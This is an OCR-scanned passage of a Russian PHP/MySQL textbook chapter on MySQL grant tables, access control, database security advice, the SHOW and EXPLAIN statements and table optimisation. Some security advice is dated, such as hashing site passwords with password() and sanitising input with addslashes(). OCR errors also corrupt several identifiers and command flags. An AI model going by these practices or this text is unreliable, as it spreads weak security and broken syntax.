Таблица 12.1. Схема таблицы user базы данных mysql Поле Тип Host varchar(60) User varchar(16) Password varchar(41) Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Reload_priv Shutdown_priv Process_priv File_priv Grant_priv References_priv Index_priv Alter_priv Show_db_priv Super_priv Create_tmp_table_priv Lock_tables_priv Execute_priv Repl_s1ave_priv Repl_client_priv Create_vieW_priv Show_view_priv Create_routine_priv Alter_routine_priv Create_user_priv Event_priv Trigger_priv ssl_type ssl_cipher x509_issuer x509_subject max_que s t i on s max_updates max_connections max_user_connections enum(' N',’Y’) enum(' N','Y’) enum(’N’,’Y’) enum(' N',’Y’) enum(’N’,’Y’) enum(’N’,’Y’) enum(’N’, ’Y’) enum(' N',’Y’) enum(' N','Y’) enum(' N',’Y’) enum(' N',’Y') enum(' N',’Y’) enum(' N',’Y’) enum(' N',’Y’) enum(' N',’Y’) enum(' N', ' Y') enum(' N', ' Y') enum(' N',’Y’) enum(' N',’Y’) enum(' N',’Y’) enum('N’, ’Y’) enum(' N','Y’) enum(' N','Y’) enum(' N',’Y’) enum(' N',’Y’) enum(' N',’Y') enum(’N’,’Y’) enum(' N','Y’) enum(' 'ANY’,'X509',’SPECIFIED') blob blob blob int (11) unsigned int (11) unsigned int (11) unsigned int (11) unsigned 284 Часть II. Использование MySQL
Каждая строка в этой таблице соответствует набору полномочий, предоставленных пользователю User, входящему в систему с хоста Host с паролем Password. В данной таблице эти поля представляют собой поля области действия, поскольку они описыва- ют область действия других полей, называющихся полями полномочий. Полномочия, перечисленные в этой таблице (и последующих), соответствуют полно- мочиям, выдаваемым с.помощью команды GRANT, которая описана в главе 9. Например, Select priv соответствует полномочиям на выполнение команды SELECT. Если пользователь имеет конкретное полномочие, значение в соответствующем столбце будет равно Y. И наоборот, если данное полномочие не предоставлено, значение будет равно N. Все полномочия, перечисленные в таблице user — глобальные, т.е. они применяются ко всем базам данных в системе (включая базу данных mysql). Следовательно, для администраторов некоторые значения будут установлены равными Y, но для боль- шинства пользователей все значения должны быть равными N. Обычные пользователи должны иметь доступ к соответствующим базам данных, а не ко всем таблицам. Таблицы db и host Информация о большинстве полномочий рядовых пользователей хранится в таб- лицах db и host. Таблица db определяет, к каким базам данных могут получать доступ те или иные пользователи из тех или иных хостов. Перечисленные в этой таблице полномочия применимы к любой базе данных, указанной в конкретной строке. Таблица hosjt дополняет таблицы user и db. Если пользователь может подключать- ся к базе данных с нескольких хостов, то для такого пользователя в таблице user или db хост не указывается. Вместо этого пользователь будет иметь набор записей в таб- лице host, каждая из которых будет определять полномочия для каждой комбинации пользователь-хост. Схемы этих двух таблиц приведены в табл. 12.2 и 12.3. Таблица 12.2. Схема таблицы db базы данных mysql Поле Тип Host Db .User Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References_priv Index_priv Alter_priv Create_tmp_tables_priv Lock_tables_priv Create_view_priv Show_view_priv Create_routine_priv Alter_routine_priv Execute_priv Event_priv Trigger_priv char(60) char(64) char(16) enum(’N',’Y’) enum('N’,’Y') enum('N’, 'Y’) enum(’N’, ’Y’) enum(’N’, 'Y’) enum(’N','Y’) enum(’N’,'Y’) enum(’N','Y') enum('N’,'Y’) enum('N','Y’) enum(’N’, 'Y') enum('N’,’Y’) enum(’N’,'Y’) enum('N','Y’) enum('N’,'Y’) enum(’N’,'Y’) enum(’N', ’Y’) enum(' N',’Y’) enum(’N’,’Y’) Глава 12. Дополнительные сведения по администрированию MySQL 285
Таблица 12.3. Схема таблицы host базы данных mysql Поле Тип Host Db Select_priv Insert_priv Update_priv Delete_priv Create_priv Drop_priv Grant_priv References_priv Index_priv Alter_priv Create_tmp_tables_priv Lock_tables_priv Create jview_priv Show_view_priv Create_routine_priv Alter_routinejpriv Execute_priv Trigger_priv char (60) char(64) enum(’N','Y’) enum(' N',’Y’) enum(' N',’Y’) enum(' N',’Y’) enum('N','Y1) enum(’N’, 'Y’) enum(' N',’Y’) enum(' N','Y’) enum(' N','Y’) enum ('N', ’Y') enum(’N’, 'Y') enum (' N', ’ Y ’) enum(’N’,' Y') enum('N’, ’Y’) enum('N', ’Y’) enum('N’,’Y') enum(' N',’Y’) enum(' N','Y’) Таблицы tableS-joriv, columnsjpriv и procs_priv Таблицы tables_priv, columns_priv и procs_priv используются для хранения полномочий уровней, соответственно таблиц, столбцов и хранимых процедур. Структура этих таблиц несколько отличается от структуры таблиц user, dbHhost. Схемы таблиц tables_priv, columnsjpriv и procs_priv показаны в табл. 12.4, 12.5 и 12.6. Таблица 12.4. Схема таблицы tables priv базы данных mysql Поле Тип Host Db char(60) char(64) User Table_name Grantor Timestamp Table_priv char(16) char (60) char (77) timestamp(14) set(’Select', ’Insert', 'Update', 'Delete', 'Create', 'Drop', 'Grant’, 'References', 'Index', 'Alter', 'Create View', 'Show view', 'Trigger') Column_priv set ('Select', 'Insert', 'Update', 'References') 286 Часть II. Использование MySQL
Таблица 12.5. Схема таблицы columns_priv базы данных mysql Поле Тип Host • char(60) Db char(64) User . char(16) Table_name char(64) Column_name char(64) Timestamp timestamp(14) Column_priv set(’Select', 'Insert', 'Update', 'References') Таблица 12.6. Схема таблицы procs_priv базы данных mysql Поле Тип Host char(60) Db char(64) User char(16) Routine_name char(64) Routine_type enum('FUNCTION', 'PROCEDURE') Grantor char(77) Proc_priv set('Execute','Alter Routine','Grant') Timestamp timestamp(14) Столбец Grantor таблиц tables priv и procs priv хранит имя пользователя, который предоставил полномочия данному пользователю. В столбце Time stamp всех этих таблиц содержится значение даты и времени выдачи полномочий. Управление доступом: использование таблиц полномочий в среде MySQL Используя таблицы полномочий, MySQL определяет действия, которые разреше- но выполнять пользователю, в ходе двухэтапного процесса. 1. Проверка права на подключение. На этом этапе на основе информации, по- лученной из таблицы user, MySQL проверяет, имеет ли пользователь вообще право на подключение. Эта аутентификация выполняется на основе имени пользователя, имени хоста и пароля. Если поле имени пользователя пустое, оно соответствует всем пользователям. Имена хостов можно указывать с использованием группового символа (%). Этот символ может использоваться в качестве полного значения поля (т.е. символ % соответствует всем хостам) или в качестве части имени хоста (например, %. tangledweb. com. au соответствует всем хостам, имена которых заканчиваются строкой . tangledweb. com.au). Если поле пароля пустое, пароль для подключения не требуется. Однако система будет защищена в большей степени, если избегать применения пустых полей для имен пользователей, групповых символов в именах хостов и пользователей без паролей. Если поле имени хоста пустое, для поиска соответствующих записей user и host MySQL обращается к таблице host. Глава 12. Дополнительные сведения по администрированию MySQL 287
2. Проверка права на выполнение запросов. После того как соединение с сер- вером установлено, при каждом вводе запроса MySQL проверяет наличие соответствующего уровня полномочий для выполнения этого запроса. Система начинает проверку с глобальных полномочий (в таблице user) и, если этих полномочий недостаточно, проверяет таблицы db и ho s t. Если и этих полномочий недостаточно, MySQL проверит таблицу tables priv и, наконец, если и этого окажется мало—таблицу columns pr iv. Если в операции используются хранимые процедуры, то MySQL проверяет не таблицы tables priv и columns priv, а таблицу procsjpriv. Обновление полномочий: когда изменения вступают в силу? Сервер MySQL автоматически считывает таблицы предоставления полномочий во время своего запуска и при выполнении операторов GRANT и REVOKE. Однако, зная, где и как хранятся эти полномочия, их можно изменять вручную. При обновлении полномочий вручную сервер MySQL не заметит их изменения. Об изменениях серверу потребуется сообщить, и это можно выполнить тремя спо- собами. Можно ввести команду flush privileges; в командной строке MySQL (чтобы эту команду можно было использовать, необходи- мо войти в систему в качестве администратора). Этот способ обновления полномочий используется наиболее часто. Можно также выполнить любую из команд mysqladmin flush-privileges или mysqladmin reload непосредственно в операционной системе. После этого полномочия глобального уровня будут проверены при следующем под- ключении пользователя к серверу, полномочия уровня базы данных будут проверены при следующем выполнении оператора use, а полномочия уровней таблицы и столб- ца — при следующем пользовательском запросе. Обеспечение безопасности базы данных MySQL Безопасность очень важна, особенно при подключении базы данных MySQL к веб- сайту. В следующих разделах описаны меры предосторожности, которые нужно пред- принимать для защиты базы данных. MySQL с точки зрения операционной системы При использовании Unix-подобной операционной системы запуск сервера MySQL (mysqld) от имени суперпользователя — не самая лучшая идея/ В этом случае поль- зователь MySQL получает полный набор полномочий для выполнения чтения и за- писи файлов в любом каталоге операционной системы. Это исключительно важный 288 Часть II. Использование MySQL
момент, который легко упустить из виду, чем и воспользовались для знаменитого взло- ма веб-сайта Apache. (К счастью, взломщики оказались “белыми и пушистыми”, и их единственной целью было укрепление системы безопасности.) Имеет смысл создать пользователя MySQL специально для запуска mysqM. Кроме того, доступ к каталогам (в которых хранятся физические данные) можно разрешить только пользователю MySQL. Во многих установках сервер настраивают так, чтобы он запускался от имени пользователя mysql, входящего в состав группы mysql. В идеале следует также помещать сервер MySQL позади брандмауэра. Тем самым можно предотвратить подключение с компьютеров, не обладающих соответствующи- ми полномочиями. Следует также проверить, возможно ли внешнее подключение к серверу через порт 3306. Через этот порт сервер MySQL действует по умолчанию, и он должен быть закрыт брандмауэром. Пароли Убедитесь, что все пользователи (особенно root!) имеют пароли, и что эти пароли правильно выбраны и регулярно обновляются, подобно паролям операционной сис- темы. При этом важно помнить, что использование паролей, которые представляют собой или содержат слова из какого-либо словаря — идея весьма неудачная. Лучше все- го применять комбинации букв и цифр. Если вы планируете хранить пароли в файлах сценариев, убедитесь, что каждый из таких сценариев доступен только тому пользователю, чей пароль хранится в данном файле. PHP-сценариям, служащим для подключения к базе данных, требуется доступ к паролю конкретного пользователя. Это можно сделать достаточно безопасно, по- мещая имя учетной записи и пароль пользователя в файл, названный, например, dbconnect .php, который затем при необходимости можно включить в программу. Этот сценарий можно надежно хранить вне дерева веб-документов, предоставляя доступ к нему только соответствующему пользователю. Помните, что при помещении этих сведений в файл с расширением .inc или ка- ким-то другим расширением в дереве веб-документов, следует тщательно проверить, что веб-сервер будет интерпретировать их как PHP-сценарии, не разрешая просмотр этих сведений в веб-браузере. Пароли не следует хранить в виде обычного текста в базе данных. Пароли MySQL не хранятся в таком виде, но в веб-приложениях часто требуется хранить также име- на учетных записей и пароли членов веб-сайта. Шифрование паролей (однонаправ- ленное) можно выполнить с помощью MySQL-функции password (). Помните, что в случае вставки пароля, представленного в этом формате, с помощью оператора SELECT (например, для регистрации пользователя), эту же функцию придется вызы- вать еще раз для проверки пароля, введенного пользователем. Такой подход будет применяться при реализации проектов в части V. Полномочия пользователей Знание — сила. Поэтому необходимо хорошо понимать особенности работы систе- мы полномочий MySQL и последствия выдачи конкретных полномочий. Ни одному пользователю не следует предоставлять больше полномочий, чем ему требуется. Эти полномочия необходимо проверять, просматривая таблицы полномочий. В частности, не предоставляйте полномочия PROCESS, FILE, SHUTDOWN и RELOAD ни одному пользователю, кроме администратора, если только это не абсолютно необхо- димо. Полномочия PROCESS могут быть использованы для слежения за тем, что дела- Глава 12. Дополнительные сведения по администрированию MySQL 289
ют и вводят другие пользователи, в том числе за вводом паролей. Полномочия FILE позволяют считывать и записывать файлы операционной системы (в числе которых, например, файл /etc/password в системе Unix^). Полномочия GRANT также должны предоставляться с осторожностью, поскольку они разрешают пользователям делиться своими полномочиями с другими. При определении пользователей предоставляйте им доступ только из тех хостов, с которых они будут подключаться к базе данных. Если у вас есть пользователь jane@ localhost — это прекрасно, но просто jane — достаточно распространенное имя, и пользователь с таким именем может входить в систему откуда угодно — и это может оказаться совсем не та j апе, которую вы ожидаете. По аналогичным причинам следу- ет избегать применения групповых символов в именах хостов. Безопасность можно еще больше увеличить, если указывать в таблице host IP-ад- реса, а не имена доменов. Это позволяет избежать проблем, связанных с ошибками ввода имен сайтов или атаками на сервер DNS. Данный подход можно реализовать, запустив демон MySQL с параметром —skip-name-resolve, который означает, что все значения столбца хоста должны быть либо IP-адресами, либо localhost. Следует также запретить пользователям, которые не являются администраторами, доступ к программе mysqladmin на вашем веб-сервере. Поскольку эта программа за- пускается из командной строки, наличие доступа к ней по существу означает наличие полномочий доступа к операционной системе. Проблемы, связанные с веб-доступом Подключение базы данных MySQL к Интернету порождает нескольку специфиче- ских проблем безопасности. Неплохо начать с создания пользователя специально для веб-подключений. При этом ему можно выдать минимально необходимые полномочия и не предоставлять такие полномочия как, например, DROP, ALTER илй CREATE. Этому пользователю мож- но было бы выдать полномочия SELECT только для таблиц catalog и полномочия INSERT — только для таблиц order. Приведенный пример — еще одна иллюстрация применения принципа минимальных полномочий. Внимание! В предыдущей главе было описано использование PHP-функций addslashes () и stripslashes () для удаления из строки сомнительных символов. Перед отправкой любых данных в MySQL важ- но не забывать о необходимости реализации как этих действий, так и общей очистки данных. Следует не забывать об использовании функции doubleval () для проверки того, что числовые данные таковыми являются в действительности. Пропуск этой проверки — часто встречающая- ся ошибка; люди помнят о необходимости вызова функции addslashes (), но не проверяют числовые данные. Проверять все данные, поступающие от пользователя, необходимо всегда. Даже если HTML-форма состоит только из полей выбора и переключателей, кто-либо мо- жет изменить URL-адрес, чтобы попытаться взломать сценарий. Целесообразно так- же проверять размер поступающих данных. Если пользователи вводят пароли или конфиденциальные данные, которые долж- ны храниться в базе данных, помните, что если только не использовать протокол безопасных сокетов (Secure Sockets Layer — SSL), эти данные’будут передаваться из браузера серверу в виде обычного текста. Использование SSL более подробно рас- сматривается в последующих главах. 290 Часть II. Использование MySQL
Получение дополнительной информации о базах данных До сих пор мы использовали операторы SHOW и DESCRIBE для получения списков таблиц в базе данных и столбцов в этих таблицах. В последующих разделах мы крат- ко рассмотрим другие способы применения этих операторов, а также оператора EXPLAIN для получения дополнительной информации о способе выполнения SELECT. Получение информации с помощью оператора show Ранее мы использовали следующую конструкцию: show tables; для получения списка таблиц в базе данных. Оператор show databases; отображает список доступных баз данных. Затем с помощью оператора SHOW TABLES можно просмотреть список таблиц в одной из этих баз данных: show tables from books; При использовании оператора SHOW TABLES без указания базы данных, по умолча- нию будет выведен список таблиц используемой базы данных. Если имена таблиц известны, можно получить список столбцов: show columns from orders from books; Если имя базы данных опустить, оператор SHOW COLUMNS выведет список для теку- щей базы данных. Можно использовать также форму записи база_данных. таблица: show columns from books.orders; Еще один полезный вариант оператора SHOW можно применять для выяснения пол- номочий, выданных пользователю. Например, оператор show grants for bookorama; приведет к следующему результату: +------------------------------------------------------------------------+ I Grants for bookorama@% I +------------------------------------------------------------------------+ | GRANT USAGE ON * . * TO ’bookorama’@%’ I I IDENTIFIED BY PASSWORD '*lECE648641438A28E1910D0D7403C5EE9E8B0A85’ | GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER | I ON 'books'.* TO ’bookorama’@’%’ I +-------------------------------------------------------------------------+ Приведенные в этом примере операторы GRANT не обязательно являются опера- торами для предоставления полномочий конкретному пользователю, а представляют собой скорее эквивалентные обобщенные операторы, которые создают текущий уро- вень полномочий пользователя. Можно использовать также множество других вариантов оператора SHOW. Всего их существует более 30. Некоторые наиболее распространенные варианты перечислены в табл. 12.7. Полный список приведен в руководстве по MySQL по адресу: http://dev.mysq!.com/doc/refman/5.1/en/show.html Глава 12. Дополнительные сведения по администрированию MySQL 291
Во всех случаях [ like_juin_where] означает, что сравнение можно выполнить с помощью конструкции LIKE или WHERE. Таблица 12.7. Синтаксис оператора SHOW Вариация SHOW DATABASES [ 1 i ке_или_ wh ere ] SHOW [OPEN] TABLES [FROM база_данных] [like_Hnn_where] SHOW [FULL] COLUMNS FROM таблица [FROM база_данных] [ 1 i ке_или_ wh ere ] SHOW INDEX FROM таблица [ 1 i ке_или_ where] SHOW [GLOBAL | SESSION] STATUS [liке_или_where] SHOW [GLOBAL|SESSION] VARIABLES [Ике_или_where] SHOW [FULL] PROCESSLIST SHOW TABLE STATUS [FROM база_данных] [ 1 i ке_или^ where ] SHOW GRANTS FOR пользователь SHOW PRIVILEGES SHOW CREATE DATABASE база_данных SHOW CREATE TABLE таблица SHOW [STORAGE] ENGINES SHOW INNODB STATUS SHOW WARNINGS [LIMIT [смещение, ] кол_строк] SHOW ERRORS [LIMIT [смещение,] кол_строк] Описание Выводит список доступных баз данных. Выводит список таблиц текущей либо указанной базы данных Выводит список всех столбцов конкретной таблицы текущей либо указанной базы данных. Вместо оператора show columns можно использовать оператор show fields. Выводит сведения обо всех индексах в конкретной таблице текущей либо указанной базы данных. Вместо этого оператора можно ис- пользовать оператор SHOW KEYS. Предоставляет информацию о количестве системных элементов, такую как число выполняющихся потоков. Выражение like используется для сопоставления имен этих элементов. Например, ’Thread%' соответству- ет элементам ’Threads_cached', Threads_connected’ и Threads_running'. Выводит имена и значения системных переменных MySQL наподо- бие номера версии. Выводит все выполняющиеся в системе процессы, т.е. выполняющие- ся в данный момент запросы. Большинство пользователей будут видеть- информацию о своих собственных потоках, но при наличии у них пол- номочия process они могут видеть информацию о процессах любых пользователей — в том числе, присутствующие в запросах пароли. По умолчанию запросы усекаются до 100 символов. Применение необяза- тельного ключевого слова full ведет к отображению полных запросов. Выводит информацию о каждой таблице в текущей либо в указанной базе данных; допускается применение групповых символов. Инфор- мация включает в себя сведения о типе таблицы и времени послед- него обновления каждой таблицы. Выводит операторы grant, необходимые для предоставления ука- занному пользователю его текущего уровня полномочий. Выводит различные поддерживаемые сервером полномочия. Выводит оператор create database, который создал бы указанную баЗу данных. Выводит оператор create table, который создал бы указанную таблицу. Выводит механизмы хранения, доступные в данной системе, с указа- нием механизма, используемого по умолчанию. (Механизмы хране- ния рассматриваются в главе 13.) Выводит сведения о текущем состоянии механизма хранения InnoDB. Выводит любые сообщения об ошибках, предупреждения или уве- домления, сгенерированные последним выполненным оператором. Выводит только сообщения об ошибках, сгенерированные послед- ним выполненным оператором. 292 Часть II. Использование MySQL
Получение информации о столбцах с помощью оператора describe Вместо оператора SHOW COLUMNS можно использовать оператор DESCRIBE, похо- жий на оператор DESCRIBE из Oracle (еще одна СУРБД). Основной синтаксис этого оператора выглядит*следующим образом: DESCRIBE таблица [столбец]; Эта команда выводит информацию обо всех столбцах таблицы таблица или о кон- кретном столбце, если указан параметр столбец. При желании в параметре столбец можно использовать групповые символы. Получение информации о способе выполнения запросов с помощью оператора explain Оператор EXPLAIN можно применять двумя способами. Во-первых, можно исполь- зовать команду: EXPLAIN таблица; Результат выполнения этой команды аналогичен результату выполнения операто- ра DESCRIBE таблица или SHOW COLUMNS FROM таблица. Второй и более интересный способ применения оператора EXPLAIN позволяет вы- яснить, как именно MySQL вычисляет запрос SELECT. Чтобы использовать EXPLAIN подобным образом, достаточно поместить слово EXPLAIN перед оператором SELECT. К услугам оператора EXPLAIN можно прибегнуть во время отладки сложного запро- са, который явно дает неправильные результаты, либо в тех случаях, когда обработ- ка запроса занимает намного больше времени, чем должна. При создании сложного запроса его можно заранее проверить с помощью EXPLAIN без действительного вы- полнения запроса. Располагая результатом выполнения этого оператора, при необхо- димости можно оптимизировать созданный SQL-код. Данный оператор служит также удобным обучающим инструментом. Например, попробуйтё выполнить следующий запрос в базе данных магазина “Буквофил”: explain select customers.name from customers, orders, order_items, books where customers.customerid = orders.customerid and orders.orderid = order_items.orderid and order_items.isbn = books.isbn and books.title like ’%Java%’; Этот запрос генерирует показанный ниже вывод. (Обратите внимание на верти- кальное представление результатов, поскольку строки таблицы слишком широки для размещения их в книге. Чтобы получить именно такой формат вывода, запрос должен завершаться последовательностью \G, а не точкой с запятой.) row id: 1 select_type: SIMPLE table: books type: ALL possible_keys: PRIMARY key: NULL Глава 12. Дополнительные сведения по администрированию MySQL 293
key_len: NULL ref: NULL rows: 4 Extra: Using where *************************** 2 row *************************** id: 1 select_type: SIMPLE table: order_iterns type: index possible_keys: PRIMARY key: PRIMARY key_len: 17 ref: NULL rows: 4 Extra: Using where; Using index *************************** row *************************** id: 1 select_type: SIMPLE table: orders type: eq_ref possible_keys: PRIMARY key: PRIMARY key_len: 4 ref: books.order_items.orderid rows: 1 Extra: *************************** row *************************** id: 1 select_type: SIMPLE table: customers type: eq_ref possible_keys: PRIMARY key: PRIMARY key_len: 4 # ref: books.orders.customerid rows: 1 Extra: Поначалу этот вывод может показаться непонятным, тем не менее, он исключи- тельно полезен. Давайте последовательно рассмотрим столбцы этой таблицы. Первый столбец, id, отображает идентификационный номер оператора SELECT внутри запроса, на который ссылается данная строка. Столбец select_type содержит информацию о типе использованного запроса. Допустимый набор значений этого столбца приведен в табл. 12.8. Столбец table содержит список всех таблиц, которые применялись для форми- рования ответа на запрос. Каждая строка результата предоставляет дополнитель- ную информацию о способе использования конкретной таблицы в этом запросе. В данном случае мы видим, что в запросе участвовали таблицы orders, orderitems, customers и books. (Это и так известно из самого запроса.) Столбец type содержит пояснения о способе использования таблицы в соединени- ях внутри запроса. Набор возможных значений этого столбца представлен в табл. 12.9. Значения приведены в порядке уменьшения скорости выполнения запроса. Эта таб- лица позволяет получить представление о количестве строк, которые должны быть считаны из каждой таблицы для выполнения запроса. 294 Часть II. Использование MySQL
Таблица 12.8. Возможные типы запроса SELECT, отображаемые в результате выполнения оператора explain Тип Описание SIMPLE Обычный старый тип запроса select, как в рассматриваемом примере. PRIMARY Внешний (первый) запрос, в котором используются подзапросы и соединения. UNION Второй или один из следующих запрос в соединении. DEPENDENT UNION Второй или один из следующих запрос в соединении, зависящий от первичного запроса. SUBQUERY Внутренний подзапрос. DEPENDENT SUBQUERY Внутренний подзапрос, зависящий от первичного запроса (т.е. связанный подзапрос). DERIVED Подзапрос, использованный в выражении from. UNCACHEABLE SUBQUERY Подзапрос, результат которого нельзя кешировать и необходимо вычислять заново для каждой строки. UNCACHEABLE UNION Второй или один из следующих оператор select в соединении, который принадлежит некешируемому подзапросу. Таблица 12.9. Возможные типы соединения, отображаемые в результате выполнения explain Тип Описание const или system Чтение из таблицы выполняется только один раз. Это имеет место, если таблица содержит только одну строку. Тип system используется, если дан- ная таблица является системной, а тип const — во всех других случаях. eq_ref Для каждого набора строк из других таблиц, участвующих в соединении, вы- полняется считывание одной строки изданной таблицы. Этот тип применя- ется, когда для соединения используются все части индекса таблицы, и ин- декс имеет тип unique (уникальный ключ) или является первичным ключом. fulltext Соединение выполняется с помощью индекса fulltext. ref Для каждого набора строк из других таблиц, участвующих в соединении, выполняется считывание набора строк таблицы, соответствующих крите- рию отбора. Этот тип применяется, когда условие соединения не позволяет выбрать одну строку—т.е., когда в соединении используется только часть ключа, либо он не является ключом типа unique или первичным ключом. ref_or_null Аналогично ref, но MySQL ищет также строки со значениями null. (Этоттип в основном используется в подзапросах.) index_merge Свидетельствует об использовании специфической оптимизации Index Merge (Слияние индексов). unique_subquery Этот тип соединения используется вместо соединения ref в некоторых подзапросах in, возвращающих одну уникальную строку. index_subquery Этот тип соединения аналогичен соединению unique subquery, но ис- пользуется для индексированных неуникальных подзапросов. range Для каждого набора строк из других таблиц, которые участвуют в соеди- нении, выполняется считывание набора строк таблицы, относящихся к конкретному диапазону. index Выполняется просмотр всего индекса. ALL Выполняется просмотр всех строк таблицы. Глава 12. Дополнительные сведения по администрированию MySQL 295
В предыдущем примере две таблицы соединены с использованием eq ref (orders и customers), одна — посредством index (order items) и еще одна (books) — с помо- щью ALL — т.е. за счет просмотра каждой отдельной строки таблицы. Столбец rows дополняет эту информацию: он отображает приблизительное коли- чество строк каждой таблицы, которые должны быть просмотрены для выполнения этого соединения. Для выяснения общего количества строк, просматриваемых во время выполнения запроса, можно перемножить эти числа. Это обусловлено тем, что соединение подобно произведению строк различных таблиц. Более подробно эти во- просы рассматриваются в главе 10. Не забывайте, что это значение отражает количе- ство просматриваемых, а не возвращаемых строк; MySQL не может вычислить точное количество строк, не выполнив запрос. Понятно, что чем меньшим удастся сделать это число, тем лучше. В настоящее время база данных содержит ничтожный объем данных, но по мере увеличения объема время выполнения этого запроса также будет увеличиваться. Вскоре мы вернемся к этому вопросу. Столбец possible keys, как можно догадаться по его названию (возможные ключи), содержит имена ключей, которые MySQL может использовать для соединения таблиц. Несложно заметить, что в данном случае возможными ключами являются все ключи типа PRIMARY. Столбец key содержит либо ключ таблицы, действительно использованный MySQL, либо значение NULL, если ключ не использовался. Обратите внимание, что несмотря на существование первичного ключа для таблицы books, он не был задейст- вован в данном запросе. Столбец key len отображает длину использованного ключа. Это число служит для определения того, использовалась ли только часть ключа. Упомянутая информация важна при наличии ключей, которые состоят из более чем одного столбца. В данном случае все ключи использовались полностью. Столбец ref содержит информацию о столбцах, которые использовались с клю- чом для выбора строк из таблицы. И, наконец, столбец Extra содержит всю дополнительную информацию о способе выполнения соединения. Некоторые возможные значения этого столбца перечислены в табл. 12.10. Полный список более 15 различных вариантов приведен в руководстве по MySQL по адресу http: / /dev. mysql. сот/doc/refman/5.1/en/using-explain. html. Таблица 12.10. Некоторые возможные значения столбца Extra в результате выполнения оператора explain Значение Описание Distinct После нахождения первой совпадающей строки MySQL прекращает даль- нейшие попытки поиска строк. Not exists Запрос оптимизирован для выполнения соединения left join. Range checked for each record Для каждой строки в наборе строк из других таблиц MySQL пытается найти наилучший для использования индекс, если таковые существуют. Using filesort Для сортировки данных требуется два прохода. (Понятно, что выполнение этой операции требует в два раза больше времени.) Using index Вся информация о таблице поступает из индекса; т.е. в действительности просмотр строк не выполняется. Using join buffer Таблицы читаются порциями с помощью буфера соединения; а затем для выполнения запроса строки извлекаются из этого буфера. Using temporary Для выполнения данного запроса требуется создание временной таблицы Using where Для выбора строк используется выражение where. 296 Часть II. Использование MySQL
Существует несколько возможных способов решения проблем, обнаруженных на основе анализа результатов выполнения EXPLAIN. Во-первых, можно проверить типы столбцов и убедиться в том, что они одинаковы. В частности, это относится к ширине столбцов. Индексы нельзя использовать для сопоставления столбцов, если те имеют различную ширину. Эту проблему можно решить, изменяя типы столбцов, или закла- дывая это в архитектуру таблиц с самого начала. Во-вторых, можно указать оптимизатору соединения о необходимости проверять распределение ключей и тем самым эффективнее оптимизировать соединения, с по- мощью утилиты myisamchk или эквивалентного оператора ANALYZE TABLE. Эту утили- ту можно вызвать с помощью следующей команды: myisamchk —analyze путь_к_базе_данных_Му8д1/таблица Несколько таблиц можно проверить, перечислив их в командной строке, или с по- мощью команды: myisamchk —analyze путь_к_базе_данных_МуЗд1/*/★ .MYI / Для проверки всех таблиц во всех базах данных можно воспользоваться такой ко- мандой: myisamchk —analyze путь_к_каталогу_данных_МуЗд1/*/*.MYI Альтернативный способ выполнения этой задачи состоит в перечислении таблиц в операторе ANALYZE TABLE в среде монитора MySQL: analyze table customers, orders, order_items, books; В-третьих, можно рассмотреть целесообразность добавления нового индекса в таб- лицу. Если данный запрос, во-первых, выполняется медленно и, во-вторых, использу- ется достаточно часто, следует серьезно подумать о применении этого способа реше- ния проблем. Если же данный запрос лишь одноразовый, который никогда не будет выдан снова (например, нестандартный отчет, который был запрошен лишь однаж- ды), реализация данного способа вряд ли будет стоить затраченных усилий, поскольку он замедлит выполнение других операций. Если столбец possible keys в результатах выполнения оператора EXPLAIN содер- жит ряд значений NULL, скорость выполнения запроса, возможно, удастся повысить, добавив в соответствующую таблицу индекс. Если столбец, используемый в выраже- нии WHERE, пригоден для индексации, новый индекс для него можно создать с помо- щью оператора ALTER TABLE: ALTER TABLE таблица ADD INDEX (столбец); Оптимизация базы данных В дополнение к ранее предложенным рекомендациям по оптимизации запросов, можно предпринять и дополнительные действия для повышения общей производи- тельности базы данных MySQL. Оптимизация проекта В основном, все элементы базы данных должны быть как можно меньшими. В оп- ределенной степени этого можно добиться, выполняя нисходящее проектирование, которое позволяет снизить избыточность. Везде, где возможно, следует минимизиро- Глава 12. Дополнительные сведения по администрированию MySQL 297
вать использование значений NULL и обеспечить, чтобы первичный ключ был макси- мально коротким. По возможности следует избегать использования столбцов переменной длины (та- ких как VARCHAR, TEXT и BLOB). Таблицы с полями фиксированной длины будут обраба- тываться быстрее, но они могут занимать несколько большее дисковое пространство. Права доступа Помимо использования рекомендаций, которые приведены в предыдущем разделе, посвященном оператору EXPLAIN; скорость выполнения запросов можно увеличить за счет упрощения прав доступа. Ранее мы уже рассматривали способ проверки запросов системой разрешений перед их выполнением. Чем проще этот процесс, тем быстрее будет выполняться запрос. Оптимизация таблиц Если таблица используется в течении некоторого времени, по мере обновления и удаления данных она становится фрагментированной. Фрагментация увеличивает время, необходимое для поиска данных в таблице. Эту проблему можно решить с по- мощью следующего оператора: OPTIMIZE TABLE имя_таблицы; или команды, которая должна вводиться в командной строке: myisamchk -г имя_таблицы Можно также с помощью утилиты myisamchk отсортировать индекс таблицы и данные в соответствии с этим индексом: myisamchk —sort-index —sort-records=l путь_к_каталогу_данных_Му50Ь/★/*.MYI Использование индексов Когда это требуется, для ускорения выполнения запросов следует пользоваться индексами. Индексы должны быть максимально простыми. Не создавайте индексы, которые не будут задействованы в запросах. Для проверки того, какие индексы ис- пользуются в запросе, служит описанный выше оператор EXPLAIN. Использование значений по умолчанию Всегда, когда это возможно, для столбцов необходимо использовать значения, за- данные по умолчанию, и вставлять данные только в том случае, если они отличаются от этих значений. В результате уменьшается время, необходимое для выполнения опе- ратора INSERT. Дополнительные советы Для повышения производительности в конкретных ситуациях и решения отдельных проблем можно произвести множество мелких настроек. Дополнительные советы по этому поводу представлены на веб-сайте MySQL по адресу http: / /www. mysql. com. 298 Часть II. Использование MySQL
